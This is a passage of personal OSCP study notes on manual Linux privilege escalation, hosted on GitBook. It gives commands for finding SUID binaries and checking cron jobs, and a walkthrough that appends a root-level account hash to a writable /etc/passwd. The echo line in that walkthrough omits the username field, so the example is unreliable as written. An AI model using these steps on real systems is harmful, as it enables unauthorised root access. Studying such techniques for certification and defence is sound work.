✍️
OSCP Prep
  • Welcome Aboard
  • Linux Basics
    • Command Line Fundamentals
  • Writeups
    • HackTheBox
      • Windows
        • Granny
        • Devel
        • Blue
        • Legacy
      • Linux
        • shocker
    • OSPG
    • TryHackMe
    • Vulnhub
      • Kioptrix Level1
  • Scanning and Enumeration
    • Index
    • Wordpress
      • wpscan
    • NMAP
    • DNS
    • NFS
    • DB
      • Oracle DB 1521
      • MySQL
    • SMB
      • msfconsole
      • crackmapexec
      • smbmap
      • smbclient
      • enum4linux
      • Mount smb share locally
    • SSH
    • HTTP
      • PUT Method
      • Untitled
  • Tools and Techniques
    • File Transfer
    • CMD-Fu
    • Cross Platform Exploit Compilation
    • Bash-Fu
    • Sniffing
      • tcpdump
      • Wireshark
    • Brute Force
      • Untitled
      • Hydra
    • Msfvenom
    • Password Cracking
      • John
      • Hashcat
  • Gaining Access and Exploitation
  • SQL Injection
    • sqlmap
    • mysql syntax
    • ms sql syntax
  • File Upload
  • LFI
  • Privilege Escalation
    • Windows
      • references links
      • Manual
        • SeTokenImpersonate
      • Scripts
    • Linux
      • Manual
        • Know your Enemy
      • Scripts
  • Mislu Tips
    • Troubleshooting
  • Buffer OverFlow under 30 min.
    • point n shoot
    • fuzzer.py
    • Addons reading material
  • Active Directory
    • Untitled
Powered by GitBook
On this page

Was this helpful?

  1. Privilege Escalation
  2. Linux

Manual

PreviousLinuxNextKnow your Enemy

Last updated 3 years ago

Was this helpful?

Linux Priv Esc

• Dirty Cow • Rational Love

check passwd file perm -- editing passwd file AI WEB

? Exploiting SUID Executables -rws

find / -perm -u=s -type f 2>/dev/null

willl show the executables having suid bit set

find / -perm -4000 -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

looking for cronjobs cat /etc/cron.d if permissions denied look in cd /etc/cron.daily

look for installed packages dpkg -l

if passwd file writeable

salt is limited to 2 chars password is limited to 8 chars openssl passwd rks ^password openssl passwd -salt 12 rks ^2char salt to be added openssl passwd -1 rishabhkumar ^for md5 algo -- this allows us to put more than 8 char of password in output $1$ represnts md5 algo openssl passwd -1 -salt yoo12 rks@123 -1 for md5 -salt for salt at last password in linux the username is used to salt the password so your command is going to be like openssl passwd -1 -salt <username> <password> openssl passwd -1 -salt rks rks@123 will get a hash -- add this hash in shadow file or passwd file echo ‘$1$rks$blahblahahs:0:0:root:/root:/bin/bash’ >>/etc/passwd su rks rks@123 [as password] boom root

https://www.youtube.com/watch?v=RGOfw-uXaFw